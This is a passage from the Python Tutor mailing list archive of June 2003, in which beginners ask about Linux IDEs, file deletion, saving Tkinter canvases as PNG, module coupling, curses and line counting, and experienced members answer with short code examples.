From: rmangaliag@slu.edu.ph (ali mangaliag)
Date: Tue Jun 24 22:49:01 2003
Subject: [Tutor] ide in linux
Message-ID: <004801c33ac6$06556060$da19a8c0@slu.edu.ph>

This is a multi-part message in MIME format.

------=_NextPart_000_0045_01C33B09.12D50280
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

hi...

is there a linux ide for python that is similar to pythonwin???

thanks...


ali

------=_NextPart_000_0045_01C33B09.12D50280
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>hi...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>is there a linux ide for python that is =
similar to=20
pythonwin???</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanks...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>ali</FONT></DIV></BODY></HTML>

------=_NextPart_000_0045_01C33B09.12D50280--




From GREENDAY31087@aol.com  Tue Jun 24 23:59:01 2003
From: GREENDAY31087@aol.com (GREENDAY31087@aol.com)
Date: Tue Jun 24 22:59:01 2003
Subject: [Tutor] Access files/folders
Message-ID: <d.13a335b7.2c2a69a1@aol.com>

--part1_d.13a335b7.2c2a69a1_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

How can I access files on my computer using python? For example, I want to 
open c:\programfiles\accessories\mspaint.exe
Also, how would I go about deleting a file? and a folder? 
I'm running win98

--part1_d.13a335b7.2c2a69a1_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2 FAMILY=3D"SANSSERIF" FACE=
=3D"Arial" LANG=3D"0">How can I access files on my computer using python? Fo=
r example, I want to open c:\programfiles\accessories\mspaint.exe<BR>
Also, how would I go about deleting a file? and a folder? <BR>
I'm running win98</FONT></HTML>

--part1_d.13a335b7.2c2a69a1_boundary--


From Suresh  Kumar" <suresh_vsamy@rediffmail.com  Wed Jun 25 02:45:47 2003
From: Suresh  Kumar" <suresh_vsamy@rediffmail.com (Suresh  Kumar)
Date: Wed Jun 25 01:45:47 2003
Subject: [Tutor] Problem in storing tkinter canvas as PNG file using ImageGrab.grab
Message-ID: <20030625054333.4153.qmail@webmail25.rediffmail.com>

Hi,

      Iam using python2.2/tkinter/windows. I have drawn some 
rectangles in my canvas. Now I want to store my canvas as a PNG 
file. Iam using "ImageGrab"  to grab the canvas. Iam getting the 
result as i expected when the canvas size is less than 
"canvas.winfo_width" and "canvas.winfo_height". But when the size 
larger than that, iam not getting the entire canvas image.
     My coding is given below.

import sys
 from Tkinter import *
import Tkinter
import ImageGrab

canvas = Tkinter.Canvas(width=1600, height=1400)
canvas.create_line(0, 0, 1600, 1400, fill="red", width=10)
canvas.pack()

canvas.update()

if sys.platform == "win32":
         # get window location
         x0 = canvas.winfo_rootx()
         y0 = canvas.winfo_rooty()
         x1 = x0 + canvas.winfo_reqwidth()
         y1 = y0 + canvas.winfo_reqheight()

         im = ImageGrab.grab((20,20, x1,y1))
         print "X1 : ",x1," Y1: ",y1


else:

         raise NotYetImplemented("oops!")

im.show()
im.save("c:\\outfile.png", "PNG")

root = Tk()
root.mainloop()

    How can i make the the entire canvas as PNG file irrespective 
of its size?

With Regards,
V.Suresh Kumar
___________________________________________________
Get www. mycompany .com and 5 matching email ids.
Just Rs. 1499/ year.
Click here http://www.rediffmailpro.com



From fredm@smartypantsco.com  Wed Jun 25 02:47:03 2003
From: fredm@smartypantsco.com (Alfred Milgrom)
Date: Wed Jun 25 01:47:03 2003
Subject: [Tutor] Stroing tkinter screen as PNG file..............
In-Reply-To: <20030624130429.25639.qmail@webmail26.rediffmail.com>
Message-ID: <5.1.0.14.0.20030625153152.0334a760@192.168.1.1>

At 01:04 PM 24/06/03 +0000, Suresh  Kumar wrote:
>Hi,
>
>    I am using python/tkinter/windows. How to store tkinter canvas screen 
> as a PNG file? I have drawn some rectangles in my canvas and i want to 
> store it as a PNG file so that i can use it for further processing. How 
> can i do it?
>
>Thanx.

Hi:

I was asking a similar question just a short while ago, got very good 
advice from Magnus Lycka, and I posted my research on specifically grabbing 
Tkinter canvas on 19/6:
http://mail.python.org/pipermail/tutor/2003-June/023456.html

Basically the answer lies in the ImageGrab module available in the PIL 
library. PIL is available from
http://www.pythonware.com/products/pil/index.htm#pil114

Info on Tkinter grabbing is available at
http://mail.python.org/pipermail/image-sig/2003-May/002292.html

All the best,
Fred Milgrom



From alan.gauld@blueyonder.co.uk  Wed Jun 25 04:13:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun 25 03:13:01 2003
Subject: [Tutor] Global Variable Gotcha
References: <20030624155525.GM17744@johnsons-web.com>
Message-ID: <000a01c33ae9$2a8de880$6401a8c0@xp>

> I must rewrite code in the newly seperated functions so
> that the global object is passed as a parameter. 

That's the clean and theoretically "best" solution since it 
follows good functional programming principles of "no side 
effects". If you  have the freedom to do so, then go ahead.
Of course sometimes you need to maintain the interface as-is
(because of reuse etc) in which case fudges become necessary.

There are several solutions:
1) write a function to set a reference in your new module 
that gets called from the original
- bad because the first is now tightly coupled to the second

2) import the first into the second
- bad because the copupling now exists the other way round

3) create a third module for the shared code and import into 
both original modules - if you must use globals this is probably 
best but may break existing code which already uses the global from
the original module
 
> I'd welcome comments on how to avoid this(passing as an argument)

Why do you feel the need to avoid using an argument?
It is the best, (ie most pure) solution to the problem promoting 
much better levels of reuse and extensibility of your code.
All the opther options compromise the solution by building in 
undesirable dependencies(coupling).

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld


From bgailer@alum.rpi.edu  Wed Jun 25 10:23:01 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Wed Jun 25 09:23:01 2003
Subject: [Tutor] importing
In-Reply-To: <Pine.LNX.4.44.0306241409470.1396-100000@ouhep1.nhn.ou.edu>
Message-ID: <5.2.1.1.0.20030625071107.01af1e38@66.28.54.253>

--=======268B3E9C=======
Content-Type: text/plain; x-avg-checked=avg-ok-13356CED; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 02:14 PM 6/24/2003 -0500, Isaac Hall wrote:

>alright, this is kind of an odd question, and Im not sure that there is
>another way I can go about doing this.
>
>I have a program that I would like to call with one or more than one
>configuration files in the command line.  For what I want, the easiest way
>to create these configuration files was just to make them a collection of
>python dictionaries.  This way I figured I wouldnt have to waste time
>creating some method to read a configuration file.  However I found that
>putting in a statement like:
>
>try:
>    import sys.argv[1]
>except:
>    print 'bad config file'
>
>doesnt quite work.  Does anyone know if there are clever ways to import a
>file that can be specified in the command line?

Unfortunately the language reference is not 100% precise in its explanation 
of import. The word following import must be a module name (just as the 
word following def must be a variable name to which the function is bound; 
ditto for class classname). When the module name is stored as a string 
you'd have to dynamically create and execute the import thus: exec "import 
" + sys.argv[1].

Fortunately there is another way: __import__(sys.argv[1]). __import__ is 
used (under the covers as it were) by the import statement.

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625

--=======268B3E9C=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-13356CED
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.492 / Virus Database: 291 - Release Date: 6/24/2003

--=======268B3E9C=======--



From sksowe@csd.auth.gr  Wed Jun 25 10:44:04 2003
From: sksowe@csd.auth.gr (Sulayman Sowe)
Date: Wed Jun 25 09:44:04 2003
Subject: [Tutor] UNSCRIBE!!!
Message-ID: <1056548518.3ef9a6a60722c@webmail.auth.gr>

PLEASE REMOVE ME FROM YOUR MAILING LIST AS I AM BOMBARDED BY MORE MAILS THAN I 
CAN READ. THE NUISANCE IS GROWING AS I NOW HAVE OVER 22 PAGES OF YOUR MAILS.
PLEASE
-- 





From bgailer@alum.rpi.edu  Wed Jun 25 11:20:02 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Wed Jun 25 10:20:02 2003
Subject: [Tutor] Access files/folders
In-Reply-To: <d.13a335b7.2c2a69a1@aol.com>
Message-ID: <5.2.1.1.0.20030625075628.0273b968@66.28.54.253>

--=======58B3DDE=======
Content-Type: multipart/alternative; x-avg-checked=avg-ok-13356CED; boundary="=====================_5932630==.ALT"


--=====================_5932630==.ALT
Content-Type: text/plain; x-avg-checked=avg-ok-13356CED; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 10:57 PM 6/24/2003 -0400, GREENDAY31087@aol.com wrote:

>How can I access files on my computer using python? For example, I want to 
>open c:\programfiles\accessories\mspaint.exe
>Also, how would I go about deleting a file? and a folder? I'm running win98

What do you mean by "open"? Do you want to read/write the file or do you 
want to execute it (since the extension is .exe I assume you want to 
execute it).

For deleting see remove() in 6.1.4 Files and Directories in the Lang Ref 
under the os module.
For executing see 6.1.5 Process Management for various ways to execute 
programs.


Bob Gailer
bgailer@alum.rpi.edu
303 442 2625


--=====================_5932630==.ALT
Content-Type: text/html; x-avg-checked=avg-ok-13356CED; charset=us-ascii
Content-Transfer-Encoding: 8bit

<html>
<body>
At 10:57 PM 6/24/2003 -0400, GREENDAY31087@aol.com wrote:<br><br>
<blockquote type=cite class=cite cite><font size=2>How can I access files
on my computer using python? For example, I want to open
c:\programfiles\accessories\mspaint.exe<br>
Also, how would I go about deleting a file? and a folder? I'm running
win98</font><font face="arial"> </font></blockquote><br>
What do you mean by &quot;open&quot;? Do you want to read/write the file
or do you want to execute it (since the extension is .exe I assume you
want to execute it). <br><br>
For deleting see remove() in 6.1.4 Files and Directories in the Lang Ref
under the os module.<br>
For executing see 6.1.5 Process Management for various ways to execute
programs.<br><br>
<x-sigsep><p></x-sigsep>
<font face="arial">Bob Gailer<br>
bgailer@alum.rpi.edu<br>
303 442 2625<br>
</font></body>
</html>


--=====================_5932630==.ALT--

--=======58B3DDE=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-13356CED
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.492 / Virus Database: 291 - Release Date: 6/24/2003

--=======58B3DDE=======--



From bgailer@alum.rpi.edu  Wed Jun 25 11:53:02 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Wed Jun 25 10:53:02 2003
Subject: [Tutor] UNSCRIBE!!!
In-Reply-To: <1056548518.3ef9a6a60722c@webmail.auth.gr>
Message-ID: <5.2.1.1.0.20030625084724.027c1820@66.28.54.253>

--=======27832F7=======
Content-Type: text/plain; x-avg-checked=avg-ok-13356CED; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 04:41 PM 6/25/2003 +0300, Sulayman Sowe wrote:


>PLEASE REMOVE ME FROM YOUR MAILING LIST AS I AM BOMBARDED BY MORE MAILS 
>THAN I
>CAN READ. THE NUISANCE IS GROWING AS I NOW HAVE OVER 22 PAGES OF YOUR MAILS.
>PLEASE

Please don't yell at us. We did not put you on this list. You subscribed, 
and were given instructions at that time on how to unsubscribe. Go to the 
bottom of http://mail.python.org/mailman/listinfo/tutor.

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625

--=======27832F7=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-13356CED
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.492 / Virus Database: 291 - Release Date: 6/24/2003

--=======27832F7=======--



From jeff@ccvcorp.com  Wed Jun 25 13:48:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Wed Jun 25 12:48:01 2003
Subject: [Tutor] ide in linux
References: <004801c33ac6$06556060$da19a8c0@slu.edu.ph>
Message-ID: <3EF9D1FE.3030908@ccvcorp.com>

ali mangaliag wrote:

> hi...
>  
> is there a linux ide for python that is similar to pythonwin???


You want to look for IDLE (http://www.python.org/idle/), or better yet 
get IDLEfork from SourceForge (http://idlefork.sourceforge.net/).

Jeff Shannon
Technician/Programmer
Credit International




From tim@johnsons-web.com  Wed Jun 25 13:52:04 2003
From: tim@johnsons-web.com (Tim Johnson)
Date: Wed Jun 25 12:52:04 2003
Subject: [Tutor] Global Variable Gotcha
In-Reply-To: <000a01c33ae9$2a8de880$6401a8c0@xp>
References: <20030624155525.GM17744@johnsons-web.com> <000a01c33ae9$2a8de880$6401a8c0@xp>
Message-ID: <20030625165326.GA29059@johnsons-web.com>

* Alan Gauld <alan.gauld@blueyonder.co.uk> [030624 23:24]:
< ... > 
Thanks Alan:

> It is the best, (ie most pure) solution to the problem promoting 
> much better levels of reuse and extensibility of your code.
> All the opther options compromise the solution by building in 
> undesirable dependencies(coupling).
 
  Ah! Here's that word again (coupling) :-) 

  I'm sure it has a pythonic context... Seriously Alan,
  can you point me to any docs, articles, examples 
  on this subject (coupling/decoupling) as per python? 

  I'm really in need of info to help improve on my 
  design skills.

  Regards

-- 
Tim Johnson <tim@johnsons-web.com>
      http://www.alaska-internet-solutions.com
      http://www.johnsons-web.com


From Suresh  Kumar" <suresh_vsamy@rediffmail.com  Wed Jun 25 14:16:52 2003
From: Suresh  Kumar" <suresh_vsamy@rediffmail.com (Suresh  Kumar)
Date: Wed Jun 25 13:16:52 2003
Subject: [Tutor] Needs urgent solution................
Message-ID: <20030625171408.31501.qmail@webmail36.rediffmail.com>

Hi Alfred,

     Thanks for your timing reply. I tried the program that is
posted in the link given by you. It is working fine. Still i 
have
a problem. In your program you limited the canvas size to 
600,600.
Since it is less than a normal screen iam getting the entire 
line
wihich is drawn on the canvas. But if i increase the size of
canvas to 2 pages, say casvas size is (1600,1500), i am not
getting the entire canvas as a PNG file.

My coding is given below.

import sys
 from Tkinter import *
import Tkinter
import ImageGrab

canvas = Tkinter.Canvas(width=1600, height=1400)
canvas.create_line(0, 0, 1600, 1400, fill="red", width=10)
canvas.pack()

canvas.update()

if sys.platform == "win32":
         # get window location
         x0 = canvas.winfo_rootx()
         y0 = canvas.winfo_rooty()
         x1 = x0 + canvas.winfo_reqwidth()
         y1 = y0 + canvas.winfo_reqheight()

         im = ImageGrab.grab((20,20, x1,y1))
         print "X1 : ",x1," Y1: ",y1


else:

         raise NotYetImplemented("oops!")

im.show()
im.save("c:\\outfile.png", "PNG")

root = Tk()
root.mainloop()

    The above code is not capturing the canvas of size
(1600,1400).
    How can i make the entire canvas as PNG file irrespective
of its size?

With Regards,
V.Suresh Kumar


On Wed, 25 Jun 2003 Alfred Milgrom wrote :
>At 01:04 PM 24/06/03 +0000, Suresh  Kumar wrote:
>>Hi,
>>
>>    I am using python/tkinter/windows. How to store tkinter
>>canvas screen as a PNG file? I have drawn some rectangles in 
>>my
>>canvas and i want to store it as a PNG file so that i can use 
>>it
>>for further processing. How can i do it?
>>
>>Thanx.
>
>Hi:
>
>I was asking a similar question just a short while ago, got 
>very
>good advice from Magnus Lycka, and I posted my research on
>specifically grabbing Tkinter canvas on 19/6:
>http://mail.python.org/pipermail/tutor/2003-June/023456.html
>
>Basically the answer lies in the ImageGrab module available in
>the PIL library. PIL is available from
>http://www.pythonware.com/products/pil/index.htm#pil114
>
>Info on Tkinter grabbing is available at
>http://mail.python.org/pipermail/image-sig/2003-May/002292.html
>
>All the best,
>Fred Milgrom
>

___________________________________________________
Get www. mycompany .com and 5 matching email ids.
Just Rs. 1499/ year.
Click here http://www.rediffmailpro.com



From tireseas@onetel.com  Wed Jun 25 14:53:02 2003
From: tireseas@onetel.com (Andy Wolfe)
Date: Wed Jun 25 13:53:02 2003
Subject: [Tutor] Help needed with graphix
In-Reply-To: <3EF89727.4050106@ccvcorp.com>
References: <200306241840.41902.tireseas@onetel.com> <3EF89727.4050106@ccvcorp.com>
Message-ID: <200306251852.03903.tireseas@onetel.com>

Hello Jeff

I am a little embarrassed to admit to this, but following your response I=
=20
double-checked the source docs and you're right - it was a module=20
specifically designed for that tutorial :-o=20

Sorry - that'll teach me to read the fine print.

Andy

On Tuesday 24 Jun 2003 19:23, Jeff Shannon wrote:
>=20
> As far as I am aware, there is not (nor has ever been) a standard modul=
e=20
> named 'graphics', nor is there a common third-party 'graphics' module.=20
>  There's a wide variety of packages available that can help with=20
> different sorts of graphics needs, from providing a graphical user=20
> interface (wxPython, Tkinter) to manipulating graphical image files=20
> (PIL) to graphing data (PyPlot).  Perhaps you can tell us more about=20
> what you're hoping to accomplish, and what led you to look for this=20
> "graphics" module...
>=20
> (For the record, I didn't answer your previous question because, while=20
> I've certainly never heard of a "graphics" module, that doesn't mean it=
=20
> doesn't exist.  It's also possible that you're getting it from a=20
> tutorial or some such that includes a custom graphics module.  So I=20
> figured I'd wait and see if anyone else knew of anything...)
>=20
> Jeff Shannon
> Technician/Programmer
> Credit International
>=20
>=20
>=20

--=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
||  Reg. Linux User: 313143 ||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Sign the Petition:
http://www.PetitionOnline.com/endtcpa1/


From SWidney@ci.las-vegas.nv.us  Wed Jun 25 15:20:02 2003
From: SWidney@ci.las-vegas.nv.us (Scott Widney)
Date: Wed Jun 25 14:20:02 2003
Subject: [Tutor] Global Variable Gotcha
Message-ID: <0E5508EBA1620743B409A2B8365DE16FDC8662@sovereign.ci.las-vegas.nv.us>

 
>   Ah! Here's that word again (coupling) :-) 
> 
>   I'm sure it has a pythonic context... Seriously Alan,
>   can you point me to any docs, articles, examples 
>   on this subject (coupling/decoupling) as per python? 
> 
>   I'm really in need of info to help improve on my 
>   design skills.

Loose coupling and strong cohesion are symmetric goals of software design.

Loose coupling is achieved by reducing interdependency. This can be applied
to functions, modules, classes, packages, etc. The more independent the
entity is, the looser the coupling will be to another like entity.

Strong cohesion refers to singularity of purpose. A function that does one
thing only has strong cohesion; a Swiss-Army-Knife function does not.

I read "Code Complete" from Microsoft Press a few years ago and it covered
the topic well in terms of structured design for procedural languages.

This site http://www.extensiblejava.com/jsp/intro.jsp has good explanations
in terms of object-oriented programming.


Scott



From Janssen@rz.uni-frankfurt.de  Wed Jun 25 15:23:02 2003
From: Janssen@rz.uni-frankfurt.de (Michael Janssen)
Date: Wed Jun 25 14:23:02 2003
Subject: [Tutor] curses on linux
In-Reply-To: <200306241232.09959.lonetwin@yahoo.com>
Message-ID: <Pine.A41.4.32.0306241639280.33284-100000@faust27-eth.rz.uni-frankfurt.de>

On Tue, 24 Jun 2003, lonetwin wrote:

> Hi,
>     I plan to write a little app. on linux that uses the curses module.
> Here's what I'd like to do:
>
> a) Start up my application. (ie: all the initscr & stuff)
> b) Open another curses based application "embedded" within mine (actually
> I'm planning to fire-up the 'links' browser). By embedded I mean either it
> is displayed in one sub-window/pad on the screen, or it is displayed as it
> normally should with a key binding that'll allow me to switch between the
> embedded app and mine.
> c) I should be able to move between these two apps.

I can't say, how to switch between applications (after going to "links" -
wouldn't be it the problem of the links programm to switch back?). Just go
to another app and exit and are back in orig app can be done with
os.system().

You need to do some steps, to clear the screen for the external app. Here
is my function calling an external editor like emacs (found via try and
error):

def ExternalEditor(toy):
    """Clean the screen for external editor and rebuild"""
    stdscr.keypad(0); curses.echo() ; curses.nocbreak()
    os.system(external_editor+" "+toy["file"]+" 2> /dev/null")
    try: toy["data"] = file(toy["file"]).read()
    except: toy["data"] = "no file yet"
    stdscr.keypad(1); curses.noecho() ; curses.cbreak()
    stdscr.clear()
    stdscr.refresh()


"toy" is just a dictionary providing some data. The lines:

stdscr.keypad(0); curses.echo() ; curses.nocbreak()
os.system(Your Command)
stdscr.keypad(1); curses.noecho() ; curses.cbreak()
stdscr.clear()
stdscr.refresh()

seems essential for me.


Michael




>
>      However, I can't figure out how to do this. I tried using
> curses.def_[prog|shell]_mode, and curses.reset_[prog|shell]_mode, but that
> doesn't seem to work. From the Ncurses faq I learnt
> [ http://dickey.his.com/ncurses/ncurses.faq.html#handle_piping ]
> ---------------------------------------------
> Redirecting I/O to/from a Curses application
> In principle, you should be able to pipe to/from a curses application.
> However, there are caveats:
>
>     * Some (very old) curses implementations did not allow redirection of
> the screen. Ncurses, like Solaris curses, consistently writes all output to
> the standard output. You can pipe the output to a file, or use tee to show
> the output while redirecting.
>     * Ncurses obtains the screen size by first using the environment
> variables LINES and COLS (unless you have disabled it with the use_env
> call), then trying to query the output file pointer, and then (finally) the
> terminal description. If you are redirecting output, then a query based on
> the file pointer will always fail, resulting in the terminal description's
> size.
> * Similarly, you can redirect input to an ncurses application. However, I
> have observed that the use of setvbuf (for better output buffering)
> interferes with the use of stream I/O on GNU/Linux (and possibly other
> platforms). Invoking setvbuf may (depending on the implementation) cause
> buffered stream input to be discarded. Ncurses does not use buffered input,
> however you may have an application that mixes buffered input with a curses
> session.
> ---------------------------------------------
>     How do I translate that to python ??
> Right now, I've cooked up something ugly using the pty module (pty.spawn()
> function). However, it's far from what I'd like to do.
>     I'd post the code if anyone is interested, I didn't do it here, 'cos
> it's kinda big.
>
> any suggestions ??
>
> Peace
> Steve
>
> An idealist is one who helps the other fellow to make a profit.
>                 -- Henry Ford
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>




From Adam Vardy <anvardy@roadrunner.nf.net>  Wed Jun 25 15:56:50 2003
From: Adam Vardy <anvardy@roadrunner.nf.net> (Adam Vardy)
Date: Wed Jun 25 14:56:50 2003
Subject: [Tutor] Readlines
In-Reply-To: <004001c33a8f$99d65240$6401a8c0@xp>
References: <2152563261.20030621142247@roadrunner.nf.net>
 <463192576.20030621171956@roadrunner.nf.net>
 <00b901c33891$1f272ba0$6401a8c0@xp>
 <124105203845.20030623152613@roadrunner.nf.net>
 <004001c33a8f$99d65240$6401a8c0@xp>
Message-ID: <472080731.20030625162557@roadrunner.nf.net>


Tuesday, June 24, 2003, 6:01:33 PM, you wrote:

>> >> for line in f.xreadlines():
>> >>     print line
>> 
>> How do you tell what line it is on there?

>> You cant, not unless you create and increent your 
>> own counter:

>> lineCount = 0
>> for line in f.xreadlines():
>>     print lineCount, line
>>     lineCount += 1

Yep. What you start with seems like the more aesthetic, Pythonic type
form. And its rather nicer to keep the plain English interpretation of
just the two lines. What I'm saying is, well most languages have this
FOR command, and they all generally use it to count sequentially, with
some options sometimes.

So it would be neater if Python kept to that tradition. And had an implied
counter for any structure like that, without having to declare a variable
counter, like it was a low level kind of language.

I was thinking you could probably access the counter out of
>> for line in f.xreadlines():
>>     print line

Since, to do what you're asking of it, it has to be keeping track with
exactly this kind of integer counter.

When you have to add extra variables, it just adds more text on your
screen, and less space to review the main stuff you've actually
written.


-- 
Adam Vardy



From alan.gauld@blueyonder.co.uk  Wed Jun 25 16:28:03 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun 25 15:28:03 2003
Subject: [Tutor] Readlines
References: <2152563261.20030621142247@roadrunner.nf.net> <463192576.20030621171956@roadrunner.nf.net> <00b901c33891$1f272ba0$6401a8c0@xp> <124105203845.20030623152613@roadrunner.nf.net> <004001c33a8f$99d65240$6401a8c0@xp> <472080731.20030625162557@roadrunner.nf.net>
Message-ID: <000301c33b4f$eb159060$6401a8c0@xp>

> >> lineCount = 0
> >> for line in f.xreadlines():
> >>     print lineCount, line
> >>     lineCount += 1
>
> What you start with seems like the more aesthetic,
> Pythonic type form. And its rather nicer to keep the
> plain English interpretation of just the two lines.
> What I'm saying is, well most languages have this
> FOR command, and they all generally use it to count
> sequentially, with some options sometimes.

While its true that most languages have a numerically oriented FOR
loop, many also have a FOREACH loop construct. Python just
happens to call its FOREACH construct FOR...

> So it would be neater if Python kept to that tradition.
> and had an implied counter for any structure like that,

Why? It's not that often you need to know the count if you are
processing everything in a list - which is what the FOR loop is for!

> I was thinking you could probably access the counter out of
> >> for line in f.xreadlines():
> >>     print line
>
> Since, to do what you're asking of it, it has to be keeping
> track with exactly this kind of integer counter.

Why? What makes you think that. It could just keep processing things
till it runs out of items to process. It doresn't need to keep a
counter.

Consider the common case of processing a file with a while loop
until you reach the end of file... You don't need to track the
line number.

> When you have to add extra variables, it just adds more text on your
> screen, and less space to review the main stuff you've actually
> written.

For the relatively few cases where you need an index counter then
the amount of extra text is small, and you have the choice of using
a while loop, or for loop. Mostly when you use a for loop you just
want to process each item.

Alan G.



From alan.gauld@blueyonder.co.uk  Wed Jun 25 16:33:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun 25 15:33:02 2003
Subject: [Tutor] Readlines
References: <2152563261.20030621142247@roadrunner.nf.net> <463192576.20030621171956@roadrunner.nf.net> <00b901c33891$1f272ba0$6401a8c0@xp> <124105203845.20030623152613@roadrunner.nf.net> <004001c33a8f$99d65240$6401a8c0@xp> <472080731.20030625162557@roadrunner.nf.net>
Message-ID: <000801c33b50$8eac12d0$6401a8c0@xp>

> Yep. What you start with seems like the more aesthetic, Pythonic
type
> form. And its rather nicer to keep the plain English interpretation
of
> just the two lines. What I'm saying is, well most languages have
this
> FOR command, and they all generally use it to count sequentially,
with
> some options sometimes.


I meant to add that if you want a numerically based for loop in
Python you can usually fake it with:

for index in range(len(foo)):

or to mimic a BASIC or PASCAL style FOR loop:

for i in range(bottom, top):



Alan G



From op73418@mail.telepac.pt  Wed Jun 25 18:59:01 2003
From: op73418@mail.telepac.pt (Rodrigues)
Date: Wed Jun 25 17:59:01 2003
Subject: [Tutor] Readlines
In-Reply-To: <472080731.20030625162557@roadrunner.nf.net>
Message-ID: <DCEDLKJJJGHMCOCFGMGKKEEHCAAA.op73418@mail.telepac.pt>

> -----Original Message-----
> From: tutor-admin@python.org
> [mailto:tutor-admin@python.org]On Behalf Of
> Adam Vardy
>
> Tuesday, June 24, 2003, 6:01:33 PM, you wrote:
>
> So it would be neater if Python kept to that tradition. And
> had an implied
> counter for any structure like that, without having to
> declare a variable
> counter, like it was a low level kind of language.
>

Not really. Python >= 2.2 by breaking tradition, subsumes all for-loop
considerations into the concept of iterable object. An iterable object
is an object that like list, tuple, dict, etc. can be iterated over.

> I was thinking you could probably access the counter out of
> >> for line in f.xreadlines():
> >>     print line
>
> Since, to do what you're asking of it, it has to be keeping
> track with
> exactly this kind of integer counter.
>
> When you have to add extra variables, it just adds more text on your
> screen, and less space to review the main stuff you've actually
> written.
>

Python 2.3 comes with the enumerate builtin to neatly solve this. In
2.2 you can code it using generators. I suggest that you learn these
new features, and to wet the appetite I'll just give Python code for
the enumerate built-in

>>> from __future__ import generators
>>> def enumerate(iterable):
... 	counter = 0
... 	for elem in iterable:
... 		yield (counter, elem)
... 		counter += 1
...
>>> for elem in enumerate(range(5)):
... 	print elem
...
(0, 0)
(1, 1)
(2, 2)
(3, 3)
(4, 4)
>>> f = file(r"C:\test.txt")
>>> for pair in enumerate(f):
... 	print pair
...
(0, 'this\n')
(1, 'is\n')
(2, 'a\n')
(3, 'test\n')
(4, 'for\n')
(5, 'demonstration\n')
(6, 'purposes')
>>> f.close()
>>>

With my best regards,
G. Rodrigues



From hillcino368@hotmail.com  Wed Jun 25 19:51:49 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Wed Jun 25 18:51:49 2003
Subject: [Tutor] built in functions int(),long()+convert.base(r1,r2,num)
Message-ID: <Law15-F10zaXBG3qlSI0000580c@hotmail.com>

Hi Jeff,
Thanks for the explanations. I realize where you are comming from in terms 
of explaing
how python works. It is interesting and I learned from it. My point though, 
is more to why
certain results happen in relation to what the book says.

Are these statements  true or false.

1. Maybe any integer in the range [2, 36], or zero.

2. If radix is zero, the proper radix is guessed based on the contents of 
string;

The first is true. What about 2.?

>
>>>and there *is* a conversion step in between.  The conversion is 
>>>especially apparent when dealing with floats, because the same float will 
>>>display differently depending on whether you use str() or repr() (the 
>>>interpreter uses repr() by default) --
>>>
>>> >>> repr(0.1)
>>>'0.10000000000000001'
>>
>>Can't this be fixed?
>
>
>Which, that 0.1 can't be represented in binary?  No, that can't be
Try this.
>>>1./3
0.33333333333333331
Why this bogus display?
Here is how Pari solves the problem.
? \p 17
   realprecision = 19 significant digits (17 digits displayed)
? 1./3
0.33333333333333333

>>>Now, is this intended to convert 15 to binary (11111111), or FFFF to 
>>>binary (11111111 11111111 11111111 11111111) ??  There's no way to tell, 
>>>and Python certainly shouldn't be trying to guess.
>>
>>Oh no? The Book says
>>
>>>Maybe any integer in the range [2, 36], or zero. If radix is zero, the 
>>>proper radix is guessed based on the contents of string;

>Note that, by your logic of how these guesses should be done,
My logic? Is this a true statement. Yes or no.
Maybe any integer in the range [2, 36], or zero. If radix is zero,
the proper radix is guessed based on the contents of string;

>that would be the intent, since there is virtually *never* any use for 
>numbers in a nonstandard base.
Mabe not for you.

>
>When 64 bit 128 bit and higher processor chips hit the mainstream you may 
>change your opinion
This was just a hunch based on encoding the processor. With higher radix, 
the instructions could
be crunched in a smaller space.
>
>The number of bits that processors can use has almost zero correlation with 
>the usefulness of number represented in different bases.  We currently have 
>32-bit processors (in most cases), but that doesn't mean we're using base 
>32 numbers for anything.  We've used base 16 numbers since long before 
>16-bit processors were standard.  When 64-bit processors become standard, 
